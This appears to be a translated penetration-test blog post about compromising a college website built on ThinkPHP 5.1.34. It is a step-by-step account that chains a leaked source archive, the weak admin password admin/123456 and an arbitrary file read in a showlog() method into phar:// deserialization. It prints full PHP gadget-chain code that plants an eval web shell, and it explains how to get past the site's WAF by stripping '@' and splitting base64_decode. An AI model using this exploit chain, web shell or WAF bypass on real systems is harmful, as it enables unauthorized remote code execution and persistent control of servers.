I think this hole is quite interesting, so I can record it.
Firstly, the source code was found during directory scanning of another secondary collegewww.rar
, and through some page tests, it was inferred that the two secondary colleges should use the same CMS
Analyzing the source code, it was found that the ThinkPHP 5.1.34 LTS
framework
obtained the background access path through APP and Public/bhadmin
There is a weak password in the background login (weak passwords are really bad forever):admin/123456
Analyzing the source code, we found that there is ashowlog()
method under the System controller
public function showlog()
{
$path = input('post.path','');
if ($path == '') return json(0);
if (!file_exists($path)) return json('文件不存在');
$content = file_get_contents($path,false);
return json($content);
}
$path
receives the parameter passed by post
, and the parameter name is path
. If $path
is empty, the return value is a>0
, otherwise it will check whether the file exists. If it exists, file_get_content()
will be read into json
format and returned. input()
The method functions are as follows:
if (!function_exists('input')) {
/**
* 获取输入数据 支持默认值和过滤
* @param string $key 获取的变量名
* @param mixed $default 默认值
* @param string $filter 过滤方法
* @return mixed
*/
function input($key = '', $default = null, $filter = '')
{
if (0 === strpos($key, '?')) {
$key = substr($key, 1);
$has = true;
}
if ($pos = strpos($key, '.')) {
// 指定参数来源
$method = substr($key, 0, $pos);
if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
$key = substr($key, $pos + 1);
} else {
$method = 'param';
}
} else {
// 默认为自动判断
$method = 'param';
}
if (isset($has)) {
return request()->has($key, $method, $default);
} else {
return request()->$method($key, $default, $filter);
}
}
}
showlog()
The method parameters are controllable, and $path
is passed infile_exists()
, file_get_contents()
. First, here is an arbitrary file read , but the point is not that, and there are many public deserialization exploit chains on the Internet. As everyone knows. When compressing the file package, the user-defined will be stored in serialized form. With the protocol, it can be Automatic deserialization operations are implemented when parameters of certain functions (usually file operation functions) are controllable. ThinkPHP 5.1.x
Phar
meta-data
phar://
Then if we pass in a constructed phar
file in the background, and then use at the location of $path
Accessing the file via protocol can trigger the access route of the , methods: Phar://
phar反序列化
showlog
/bhadmin/system/showlog
Then you need to find an upload point and get the absolute path of the uploaded file.
Add information There is an editor here, you can upload image previews, and you can get the absolute path
In summary, you can construct itPhar
Deserialization GetShell, directly use the chain publicly available on the Internet
<?php
namespace think{
abstract class Model{
private $withAttr = [];
private $data = [];
public function __construct($function,$parameter){
$this->data['smi1e'] = $parameter;
$this->withAttr['smi1e'] = $function;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think\process\pipes {
use Phar;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct($function, $parameter){
$this->files = [new Pivot($function, $parameter)];
}
}
$function = 'assert';
$parameter = 'phpinfo()';
$a = new Windows($function, $parameter);
$phar = new Phar('test.phar');
$phar->stopBuffering();
$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($a);
$phar->stopBuffering();
}
Put a picture named pic.jpg
in the same directory, run the file, and modify the generated test.phar
suffix to < a i=3>Then uploadtest.jpg
Return toshowlog()
method, trigger directly: Trigger:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg
Construct to write to Shell
<?php
namespace think{
abstract class Model{
private $withAttr = [];
private $data = [];
public function __construct(){
$this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';
$this->data['jelly'] = '<?php @eval($_POST[m]);?>';
$this->withAttr['smi1e'] = 'file_put_contents';
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think\process\pipes {
use Phar;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct($function, $parameter){
$this->files = [new Pivot($function, $parameter)];
}
}
$function = 'assert';
$parameter = 'phpinfo()';
$a = new Windows($function,$parameter);
$phar = new Phar('test.phar');
$phar->stopBuffering();
$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($a);
$phar->stopBuffering();
}
Successfully written to the shell, but the Ant Sword connection still reports an error, guessing that there is waf
Proxy Ant Sword traffic to Burp
The test found that there is indeed a WAF
But after many tests, we found that this waf is more friendly and filters the @
and base64_decode
keywords, which can be bypassed, base64_decode
You can use splicing to bypass,@
It can be removed directly without affecting the function, and you can directly use Burp's matching/replacement function
After bypassing waf, you can successfully connect to the shell
If you find it inconvenient to proxy to Burp for replacement, you can also upload Ice Scorpion's AES encrypted shell without bypassing WAF.